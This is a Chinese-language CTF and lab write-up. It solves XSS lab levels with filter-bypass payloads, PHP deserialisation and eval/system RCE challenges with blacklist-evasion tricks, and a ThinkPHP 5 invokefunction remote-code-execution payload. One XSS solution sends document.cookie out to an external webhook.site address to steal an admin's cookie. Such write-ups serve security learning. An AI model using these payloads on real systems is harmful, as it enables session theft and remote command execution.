也就是说不能使用**< >**这一类,那就用:

1
"onmouseover="alert(1)
  • 注意:“**=**”在引号里面!!!

image-20240314183913489


补充:

onmouseover

  • onmouseover是一种JavaScript事件

  • onmouseover 事件会在鼠标指针移动到指定的元素上时发生


  • 所以当鼠标移至弹窗上时就会显示:

image-20240314183920759


  • 当然了也可以直接在url处直接输入

image-20240314184200140

  • 结果如下:

image-20240314184323979

  • 这里会冒出一个新的输入框,把鼠标移至上面就会显示弹窗啦

image-20240314184337571

level-3

  • 来到第三关

image-20240314185101735

  • 还是来先分析一下源代码吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

以下是代码的主要部分:

  1. window.alert 覆盖了默认的 alert 函数,当调用 alert 函数时,会触发一个确认框。
    • 确认框显示消息 “完成的不错!”。
    • 如果用户点击确认,将会重定向到 “level4.php?keyword=try harder!” 页面。
    • 这段代码的目的是在用户完成某个任务后,自动跳转到下一个级别的页面。
  2. <title> 标签设置网页标题为 “欢迎来到level3”。
  3. <h1> 标签用于在网页中居中显示标题 “欢迎来到level3”。
  4. PHP 代码部分:
    • ini_set("display_errors", 0); 禁用错误显示,以防止显示敏感信息。
    • $_GET["keyword"] 获取通过 GET 请求传递的名为 “keyword“ 的参数的值。
    • echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"; 在网页中显示没有找到与用户输入的 “keyword” 参数相关的结果。
    • <form action=level3.php method=GET> 创建一个表单,将数据提交到 “level3.php” 页面,并使用 GET 方法。
    • <input name=keyword value='".htmlspecialchars($str)."'> 创建一个输入框,用于输入搜索关键字,并将之前用户输入的 “keyword” 参数的值作为默认值。
    • <input type=submit name=submit value=搜索 /> 创建一个提交按钮,用于提交搜索表单。
    • echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; 在网页中显示用户输入的 “keyword” 参数的长度。
  5. <center><img src=level3.png></center> 用于在网页中居中显示一个名为 “level3.png” 的图像。

  • 这道题也同样用了htmlspecialchars(),将属性里的输出进行了实体编码,不能用< >
  • 但是题目中htmlspecialchars()只给了一个参数,没给第二个flags参数
  • 所以flags为默认,仅编码双引号,我们用单引号试试

image-20240314191012897

1
'onmouseover='alert(1)

image-20240314191100939

  • 成功弹出alert提示

image-20240314191130158

level-4

  • 进入第四关

image-20240314191213382

  • 观察源代码 没有太大区别
  • 只是多了对< >的过滤
1
2
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

image-20240314191514331

  • 可见<和>会被替换成空

但是我们用的是属性,而不是标签,所以用第2题的方法即可

1
"onmouseover="alert(1)

image-20240314191655503

image-20240314191734451

(这边我试了第3关的做法 即单引号 但不行)

level-5

  • 通过分析源代码可知
  • 这道题过滤了script标签和on关键字

image-20240314192258702

因此这道题用伪协议进行绕过:

1
"><a href="javascript:alert(1)">

image-20240314192633505

  • 点击

image-20240314192705725

  • 即可通关

image-20240314192853539

level-6

  • 这道题看似过滤了一大堆东西:
  • script
  • on
  • src
  • data
  • href

image-20240314194021501

但是!!!

  • html大小写不敏感!

解法一:

  • on被过滤替换了,但是我们可以使用ON

image-20240314194209266

image-20240314194336711

解法二:

  • href被过滤了,但是可以用HREF

image-20240314194418688

  • 同样点击这地方 显示弹窗

image-20240314194409342

image-20240314194456657

level-7

  • 来到第七关

image-20240314194659220

  • 我们来分析一下代码
  • 与上一题相比,同样有一大堆过滤
  • 最大的差别在于strtolower()函数:对大小写限制
  • 导致上一题的解法不能使用

image-20240314194941552


补充:

strtolower()函数

strtolower() 函数把字符串转换为小写

  • 一般用于限制大小写,即过滤大小写

image-20240314194807610


  • 于是采用双写绕过
1
"oonnmouseover="alert(1)

image-20240314195424336

image-20240314195434607

level-8

看一下源代码:

image-20240314200353307

  • 这下不是替换为空了
  • 而是加到href里的,正好我们直接用伪协议了

但是代码里面进行了script的替换

  • 那我们只要让代码识别不出是script就行
  • 把script里面随便一个字母通过html编码
  • 然后再通过url编码

以s字母为例:

  • 我这边用的是bp进行编码

image-20240314200625040

得到s的编码值:

%26%23%78%37%33%3b

于是:

1
java%26%23%78%37%33%3bcript:alert(1)

image-20240314200919391

  • 回车

image-20240314200959130

  • 点一下友情链接

image-20240314201012559

level-9

  • 查看源代码

image-20240314201151740

可以看到又加了个限制:链接里面必须得有http://关键字

  • 那简单,我们alert里面不输出1,输出**http://**不就好了
  • 但是alert(“http://”)时,双引号被过滤了!
  • 所以还得用同样的方法,对双引号htmlURL进行编码

s编码:%26%23%78%37%33%3b

编码:%26%23%78%32%32%3b

1
java%26%23%78%37%33%3bcript:alert(%26%23%78%32%32%3bhttp://%26%23%78%32%32%3b)
  • 在url处输入,不要在输入框输入(不知为何 但不行)

image-20240314201638836

image-20240314201742434

level-10*

  • 这道题不太一样,从源代码中可以看到:
  • 我们需要注入的参数应该是t_sort,而不是keyword!

image-20240314224435693

  • form表单里面的不能忽略,如果是黑盒就要一个个试了

image-20240314222502845

  • 这道题没有输入框,我们在url输入参数:
1
t_sort=" onmouseover="alert(1)

image-20240314222613261

image-20240314222634516

  • 注入发现没反应

image-20240314222657452

  • F12 删除这个hidden

image-20240314223038308

  • 删除后出现输入框

image-20240314222805618

  • 鼠标移至输入框上即可

image-20240314223052966

补充

hidden属性

hidden 属性可以对元素进行隐藏。

  • 隐藏的元素不会被显示
  • 在本题中hidden用于隐藏输入框,因此我们需要手动删除hidden

Tips

该删哪个hidden?

  • 得分析源代码

image-20240314223156858

  • 如本题,则删t_sort处的hidden

level-11

  • 这道题的参数不是get也不是post,而是来源于http请求头的Referer字段

image-20240314224610611

  • 因此这里要删除的hidden是:

image-20240314224629524


重点

  • 这里要修改的参数应该是t_ref!

  • 首先F12打开控制台 Ctrl+F找到hidden

image-20240314225928285

  • 第二步修改t_ref出的value参数值

image-20240314230208987

  • 第三步删除hidden

image-20240314230327875

  • 出现输入框

image-20240314230403137

  • 鼠标移至其上即可

image-20240314230417607

level-12

  • 与上一关方法相同
  • 唯一不一样的就是这次是在user-agent字段

image-20240314230832660

  • 类似的,第一步修改value参数值
1
" onmouseover="alert(1)

image-20240314231052372

  • 第二步删除hidden

image-20240314231054486

  • 删除后如下:

image-20240314231055689

  • 页面出现输入框,鼠标移至其上即可通关

image-20240314231056930

level-13

  • 与前两题一样的思路方法
  • 只不过参数变为了cookie

image-20240314231510425

  • 第一步 修改t_cook处的value参数值为
1
" onmouseover="alert(1)

image-20240314231825001image-20240314231829635

  • 第二步 删除hidden

image-20240314231902942

  • 出现显示框:

image-20240314231914664

  • 鼠标移至显示框上,出现弹窗~

image-20240314231948604

image-20240314165339177

level-14

level-15

level-16

level-17

level-18

level-19

level-20

Web

unserialize-1

  • 首先打开链接发现页面为空白
  • 应该是只有出flag的时候才会回显

image-20240316202501524

  • 我们来分析一下源代码

image-20240316202254082

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

$flag = 'ROIS{test}';
class Name
{
public $name;
public $password;
public function __get($name) {
echo $this->name;
return $name;
}

public function __wakeup() {
if($this->password!=null){
echo $this->password;
}
else{
echo $this->name;
}
}

public function __toString() {
global $flag;
echo $flag;
return "nice";
}

}
unserialize($_GET['input']);
  • 涉及到__wakeup()__toString()的两个魔术方法

  • 从代码中可以看出,当__tostring()被调用时就会echo出flag

那么问题就转化为如何触发__tostring():

  • __tostring()将对象被作为字符串中过程中会自动调用

  • 下面我们自己写一个php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$flag = 'ROIS{test}';
class Name
{
public $name;
public $password;
public function __construct($name,$password){
$this->name = $name;
$this->password = $password;
}
}
$a = new Name('Moose','412');
$input = new Name('Moose',$a);
echo serialize($input);
  • 并打印出序列化后的字符串

image-20240316202155438

  • 输出打印

image-20240316202201247

  • 得到序列化后的字符串

image-20240316202204775

  • 在url后加上**/?input=**

O:4:"Name":2:{s:4:"name";s:5:"Moose";s:8:"password";O:4:"Name":2:{s:4:"name";s:5:"Moose";s:8:"password";s:3:"412";}}image-20240316202216066

  • 拿到flag!!!

image-20240316202217359

XSS-1

  • 首先进入靶场,有一个输入框

image-20240317153931714

  • 分析一下源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
function report(){
document.location = `http://${document.location.hostname}:8001/report.html?e=`+btoa(document.querySelector('#input-textarea').value)
}

function execute(payload){
try{
let parsed = acorn.parse(payload, { ecmaVersion: 'latest' }).body;
alert(eval(payload));
} catch(e){
alert('Error: '+e);
}
}

window.onload = _=>{
let p = (new URLSearchParams(document.location.search)).get('e');
if(p) execute(atob(p));
}
</script>
  • 注意到alert(eval(payload));

image-20240317154304734

image-20240317154257694

  • 说明输入后的指令由eval执行,并且本题没有如何过滤

也就是说 构造payload时不需要加JavaScript标签,直接构造payload即可

1
https://webhook.site
  • 这道题考察的是通过XSS外带Cookie,那么就要借助webhook

  • 并且大概率flag就是admin用户的Cookie

image-20240317154644009

  • 构造payload如下:
1
window.open('https://webhook.site/00e2409d-d2b6-434e-b23b-7afacd0f2c4a?'+document.cookie)
  • 通过window.open发起HTTP请求
  • document.cookie是我们要带回的Cookie的所在位置
  • 单引号之间的url即webhook产生的唯一url,没有服务器的情况下可以代替端口

image-20240317155126458

  • 我们来点击calculate来测试一下
  • 即获取我们本机上的 刚刚自己设置的一个Cookie

点击calculate

image-20240317155241216

  • 查看我们的webhook

image-20240317155316778

  • 可以看到我们的cookie值成功被带回

  • Calculate就是我们自己去触发,带回这个网页上的Cookie(默认是没有的,需要我们自己加一个)

  • Share就是模拟受害者(admin)去点击链接,并带回admin的Cookieflag


下面就可以带回admin的cookie 也就是flag了:

  • 点击share with admin

  • 后台会自动有机器人替我们点击产生的链接

  • 同理我们就能获取admin的flag了

image-20240317155538201

  • 回到webhook查看

image-20240317155723493

  • 拿到flag

补充

如果webhook接收达到上限,可以通过以下方法删除cookie,重新生成url:

  • F12打开控制台,从应用程序中找到对应链接的Cookie

image-20240317155924298

  • 删除已有Cookie

image-20240317160000301

  • 然后点击**+ New**即可

image-20240317160032938

ez_rce

  • 进入靶场,分析以下php代码

image-20240317230218697

  • 当a=ok时,再传b

  • eval 函数可以动态执行字符串中的 PHP 代码

  • backDoor::evalTest($_GET['b']);调用 backDoor 类的静态方法 evalTest,执行 eval($param);语句

?a=ok&b=system('cat /flag');其中的system()函数可以执行系统命令,与此函数类似的还有system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号

  • 打开HackBar

image-20240317230123453

  • 构造出playroad:

  • 列出目录所有文件

    1
    ?a=ok&b=system('ls /');

image-20240317230126379

  • flag应该在根目录下
  • 用cat找出:
1
/?a=ok&b=system('cat /flag');

(别忘了最后的“”)

  • 然后就可以获取flag了

image-20240317230127879

补充

  • 这道题的flag是可以输出的,因此只要cat就能得到flag

  • 那如果题设没有给flag设置echo呢?

  • 方法如下,构造payload:

1
?a=ok&b=system('cat /flag|base64');
  • 也就是加上|base64
  • 意思是对flag进行base64编码

image-20240317230133735

  • 这样得到编码后的数据Uk9JU3tldmFsX2lzX2Rhbmdlcm91c359
  • 再将其进行base64解码即可得到flag

image-20240317231623733

ez_rce_plus

  • 首先分析一下源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file(__FILE__);

if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==")
die("authentication failed!!");
else{
$nameFunction = htmlspecialchars(@$_POST["function"]); unset($_POST["function"]);
if(!$nameFunction) $nameFunction = htmlspecialchars(@$_POST["action"]); unset($_POST["action"]);
$nameFunction = waf($nameFunction);
$nameFunction = explode("/",$nameFunction);
$nameFunction = $nameFunction[1];
if($nameFunction){
$params = array();
forEach($_POST as $key => $item){
$item = waf($item);
array_push($params, $item); unset($_POST[$key]);
}
$base64 = false; if(isset($_SERVER["HTTP_BASE64"])){ $base64 = $_SERVER["HTTP_BASE64"] === 'true' ? true : false; }
$params = join("','", $params); $eval = $nameFunction."('".$params."')"; $return = eval('return '.$eval.";"); echo jsonEncode($return, $base64);
}
}


function jsonEncode($value, $base64_encode = true){
$value = json_encode($value, JSON_PRETTY_PRINT);
if($base64_encode) $value = base64_encode($value);
return $value;
}

function waf($input) {
$blacklist = ['system', 'exec', 'flag'];

foreach ($blacklist as $word) {
$input = str_replace($word, '', $input);
}

return $input;
}
  • 可以看到页面底端有显示错误
  • 这是因为请求头值不符合
1
2
if (@$_SERVER['HTTP_KEY'] !== "Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==")
die("authentication failed!!");
  • 这段代码检查 HTTP 请求头中的 HTTP_KEY 值是否等于 “Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==”。如果不相等,则输出 “authentication failed!!” 并终止脚本的执行。

image-20240316155046346

  • 于是第一步先在http加入请求头
1
2
key
Nzc2NTZjNjU2MzZmNmQ2NTVmNzQ2ZjVmNzI2ZjY5NzMyMQ==

image-20240316155049425

  • 然后观察代码

image-20240316155051878

  • 考虑利用system()等函数读取根目录下的flag文件
  • 由于system被列为黑名单,所以采用双写绕过

image-20240316155054347

  • 最后查找flag
  • 同样也需要双写绕过

image-20240316155057007

  • 获取flag

image-20240316155119839

ez_rce_with_full_waf

  • 打开页面,可以看到跟上一题不太一样,有一大堆的黑名单

image-20240317232245605

  • 主要的区别在于waf函数
1
2
3
4
5
6
7
8
9
function waf($input) {
$blacklist = ['system', 'exec', 'flag' ,'`' ,'eval' ,'call' ,'$' ,'php' ,'require' , '_' , 'file' ,'show' , 'include', '\'' , '"' , '.' , '<' , '>' ];

foreach ($blacklist as $word) {
$input = str_replace($word, 'hack!', $input);
}

return $input;
}
  • 可以看到,除了把大部分能想到的字符串都列为黑名单以外
  • 还引用了replace函数,会将黑名单的字符串替换成‘hack!
  • 也就是说不能用双写绕过了

但是代码中,有一处漏洞:

  • 此时的$nameFunction,没有进行任何的waf过滤,因此可以不设置$_POST["function"]参数而使用$_POST["action"]

image-20240317234021078

  • 于是我们不用function,用action试试:
1
action=/system&Moose=ls /

image-20240317234644478

  • 但是flag会被替换成hack!,该怎么绕过呢?
  • 我们可以使用linux系统的通配符如[],将flag写成fla?

于是构造payload

1
action=/system&Moose=cat /fla?

注意!(小细节)

  • 这里action=后面记得加上/
  • ls/之间要加个空格

补充:

另外

  • 由于php是大小写不敏感的
  • 所以 如果要用function的话,可以把system改为System

即构造payload

1
function=/System&Moose=cat /fla?

image-20240317234351973

  • 也可以获取到flag~

攻防世界

unserialize3

  • 本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code

image-20240316161140735

  • 这里我们进行先对其序列化

image-20240316161514783

image-20240316161517352

  • 得到
1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

image-20240316161518421

  • 下面构造payload

本题序列化字符串的标准格式:

  • O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…
  • 这里我们将属性个数由1改为2进行绕过。

image-20240316161520055

  • 在原页面的url处添加code的值

image-20240316161524949

  • 成功获得flag!

image-20240316162101743

php_rce

我们来练一下攻防世界的rce

  • 首先进入场景
  • 可以看到打开后是一个ThinkPHP V5的界面
  • 判断一下这是一个使用TinkPHP框架开发的
  • 然后尝试去网上找相关的payload

image-20240318000412925

  • 构造payload:
1
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20240318000417850image-20240318000421530

  • 然后我们可以自由构造指令来寻找flag
  • 按套路来说,应该是先找目录
1
ls /

image-20240318000430020

  • 列出目录
  • 可以看到有一个flag目录

image-20240318000434647

  • 然后我们用cat来进入目录,获取flag
1
cat /flag

image-20240318000436564

  • 成功拿到flag!!!

image-20240318000437550